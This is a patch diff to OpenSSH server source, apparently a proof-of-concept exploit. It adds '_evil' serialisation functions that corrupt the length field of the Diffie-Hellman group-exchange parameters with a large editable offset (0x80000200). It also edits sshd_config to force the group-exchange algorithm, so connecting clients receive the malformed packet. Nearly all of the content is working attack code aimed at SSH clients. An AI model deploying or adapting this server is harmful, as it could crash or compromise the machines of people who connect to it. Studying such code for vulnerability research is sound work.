|
| 1 | +diff --git a/kexgexs.c b/kexgexs.c |
| 2 | +index 8ee3aacc..8f37c421 100644 |
| 3 | +--- a/kexgexs.c |
| 4 | ++++ b/kexgexs.c |
| 5 | +@@ -106,8 +106,8 @@ input_kex_dh_gex_request(int type, u_int32_t seq, struct ssh *ssh) |
| 6 | + debug("SSH2_MSG_KEX_DH_GEX_GROUP sent"); |
| 7 | + DH_get0_pqg(kex->dh, &dh_p, NULL, &dh_g); |
| 8 | + if ((r = sshpkt_start(ssh, SSH2_MSG_KEX_DH_GEX_GROUP)) != 0 || |
| 9 | +- (r = sshpkt_put_bignum2(ssh, dh_p)) != 0 || |
| 10 | +- (r = sshpkt_put_bignum2(ssh, dh_g)) != 0 || |
| 11 | ++ (r = sshpkt_put_bignum2_evil(ssh, dh_p)) != 0 || |
| 12 | ++ (r = sshpkt_put_bignum2_evil(ssh, dh_g)) != 0 || |
| 13 | + (r = sshpkt_send(ssh)) != 0) |
| 14 | + goto out; |
| 15 | + |
| 16 | +diff --git a/packet.c b/packet.c |
| 17 | +index 36e352b4..e4a1a06b 100644 |
| 18 | +--- a/packet.c |
| 19 | ++++ b/packet.c |
| 20 | +@@ -2506,6 +2506,12 @@ sshpkt_put_bignum2(struct ssh *ssh, const BIGNUM *v) |
| 21 | + { |
| 22 | + return sshbuf_put_bignum2(ssh->state->outgoing_packet, v); |
| 23 | + } |
| 24 | ++ |
| 25 | ++int |
| 26 | ++sshpkt_put_bignum2_evil(struct ssh *ssh, const BIGNUM *v) |
| 27 | ++{ |
| 28 | ++ return sshbuf_put_bignum2_evil(ssh->state->outgoing_packet, v); |
| 29 | ++} |
| 30 | + #endif /* WITH_OPENSSL */ |
| 31 | + |
| 32 | + /* fetch data from the incoming packet */ |
| 33 | +diff --git a/packet.h b/packet.h |
| 34 | +index 0dfa36da..93ea6c77 100644 |
| 35 | +--- a/packet.h |
| 36 | ++++ b/packet.h |
| 37 | +@@ -190,6 +190,7 @@ int sshpkt_put_cstring(struct ssh *ssh, const void *v); |
| 38 | + int sshpkt_put_stringb(struct ssh *ssh, const struct sshbuf *v); |
| 39 | + int sshpkt_put_ec(struct ssh *ssh, const EC_POINT *v, const EC_GROUP *g); |
| 40 | + int sshpkt_put_bignum2(struct ssh *ssh, const BIGNUM *v); |
| 41 | ++int sshpkt_put_bignum2_evil(struct ssh *ssh, const BIGNUM *v); |
| 42 | + |
| 43 | + int sshpkt_get(struct ssh *ssh, void *valp, size_t len); |
| 44 | + int sshpkt_get_u8(struct ssh *ssh, u_char *valp); |
| 45 | +diff --git a/sshbuf-getput-basic.c b/sshbuf-getput-basic.c |
| 46 | +index 50648258..34ec3be5 100644 |
| 47 | +--- a/sshbuf-getput-basic.c |
| 48 | ++++ b/sshbuf-getput-basic.c |
| 49 | +@@ -362,6 +362,26 @@ sshbuf_put_string(struct sshbuf *buf, const void *v, size_t len) |
| 50 | + return 0; |
| 51 | + } |
| 52 | + |
| 53 | ++const size_t evil_offset = 0x80000200; // Edit evil offset here |
| 54 | ++ |
| 55 | ++int |
| 56 | ++sshbuf_put_string_evil(struct sshbuf *buf, const void *v, size_t len) |
| 57 | ++{ |
| 58 | ++ u_char *d; |
| 59 | ++ int r; |
| 60 | ++ |
| 61 | ++ if (len > SSHBUF_SIZE_MAX - 4) { |
| 62 | ++ SSHBUF_DBG(("SSH_ERR_NO_BUFFER_SPACE")); |
| 63 | ++ return SSH_ERR_NO_BUFFER_SPACE; |
| 64 | ++ } |
| 65 | ++ if ((r = sshbuf_reserve(buf, len + 4, &d)) < 0) |
| 66 | ++ return r; |
| 67 | ++ POKE_U32(d, len + evil_offset); |
| 68 | ++ if (len != 0) |
| 69 | ++ memcpy(d + 4, v, len); |
| 70 | ++ return 0; |
| 71 | ++} |
| 72 | ++ |
| 73 | + int |
| 74 | + sshbuf_put_cstring(struct sshbuf *buf, const char *v) |
| 75 | + { |
| 76 | +diff --git a/sshbuf-getput-crypto.c b/sshbuf-getput-crypto.c |
| 77 | +index 3dd1e144..cbf3977f 100644 |
| 78 | +--- a/sshbuf-getput-crypto.c |
| 79 | ++++ b/sshbuf-getput-crypto.c |
| 80 | +@@ -148,6 +148,28 @@ sshbuf_put_bignum2(struct sshbuf *buf, const BIGNUM *v) |
| 81 | + return 0; |
| 82 | + } |
| 83 | + |
| 84 | ++int |
| 85 | ++sshbuf_put_bignum2_evil(struct sshbuf *buf, const BIGNUM *v) |
| 86 | ++{ |
| 87 | ++ u_char d[SSHBUF_MAX_BIGNUM + 1]; |
| 88 | ++ int len = BN_num_bytes(v), prepend = 0, r; |
| 89 | ++ |
| 90 | ++ if (len < 0 || len > SSHBUF_MAX_BIGNUM) |
| 91 | ++ return SSH_ERR_INVALID_ARGUMENT; |
| 92 | ++ *d = '\0'; |
| 93 | ++ if (BN_bn2bin(v, d + 1) != len) |
| 94 | ++ return SSH_ERR_INTERNAL_ERROR; /* Shouldn't happen */ |
| 95 | ++ /* If MSB is set, prepend a \0 */ |
| 96 | ++ if (len > 0 && (d[1] & 0x80) != 0) |
| 97 | ++ prepend = 1; |
| 98 | ++ if ((r = sshbuf_put_string_evil(buf, d + 1 - prepend, len + prepend)) < 0) { |
| 99 | ++ explicit_bzero(d, sizeof(d)); |
| 100 | ++ return r; |
| 101 | ++ } |
| 102 | ++ explicit_bzero(d, sizeof(d)); |
| 103 | ++ return 0; |
| 104 | ++} |
| 105 | ++ |
| 106 | + #ifdef OPENSSL_HAS_ECC |
| 107 | + int |
| 108 | + sshbuf_put_ec(struct sshbuf *buf, const EC_POINT *v, const EC_GROUP *g) |
| 109 | +diff --git a/sshbuf.h b/sshbuf.h |
| 110 | +index 7900b82b..f8632bcb 100644 |
| 111 | +--- a/sshbuf.h |
| 112 | ++++ b/sshbuf.h |
| 113 | +@@ -185,6 +185,7 @@ int sshbuf_get_string(struct sshbuf *buf, u_char **valp, size_t *lenp); |
| 114 | + int sshbuf_get_cstring(struct sshbuf *buf, char **valp, size_t *lenp); |
| 115 | + int sshbuf_get_stringb(struct sshbuf *buf, struct sshbuf *v); |
| 116 | + int sshbuf_put_string(struct sshbuf *buf, const void *v, size_t len); |
| 117 | ++int sshbuf_put_string_evil(struct sshbuf *buf, const void *v, size_t len); |
| 118 | + int sshbuf_put_cstring(struct sshbuf *buf, const char *v); |
| 119 | + int sshbuf_put_stringb(struct sshbuf *buf, const struct sshbuf *v); |
| 120 | + |
| 121 | +@@ -214,6 +215,7 @@ int sshbuf_get_bignum2_bytes_direct(struct sshbuf *buf, |
| 122 | + #ifdef WITH_OPENSSL |
| 123 | + int sshbuf_get_bignum2(struct sshbuf *buf, BIGNUM **valp); |
| 124 | + int sshbuf_put_bignum2(struct sshbuf *buf, const BIGNUM *v); |
| 125 | ++int sshbuf_put_bignum2_evil(struct sshbuf *buf, const BIGNUM *v); |
| 126 | + # ifdef OPENSSL_HAS_ECC |
| 127 | + int sshbuf_get_ec(struct sshbuf *buf, EC_POINT *v, const EC_GROUP *g); |
| 128 | + int sshbuf_get_eckey(struct sshbuf *buf, EC_KEY *v); |
| 129 | +diff --git a/sshd_config b/sshd_config |
| 130 | +index 19b7c91a..82a08747 100644 |
| 131 | +--- a/sshd_config |
| 132 | ++++ b/sshd_config |
| 133 | +@@ -102,6 +102,8 @@ AuthorizedKeysFile .ssh/authorized_keys |
| 134 | + #ChrootDirectory none |
| 135 | + #VersionAddendum none |
| 136 | + |
| 137 | ++KexAlgorithms diffie-hellman-group-exchange-sha256 |
| 138 | ++ |
| 139 | + # no default banner path |
| 140 | + #Banner none |
| 141 | + |
0 commit comments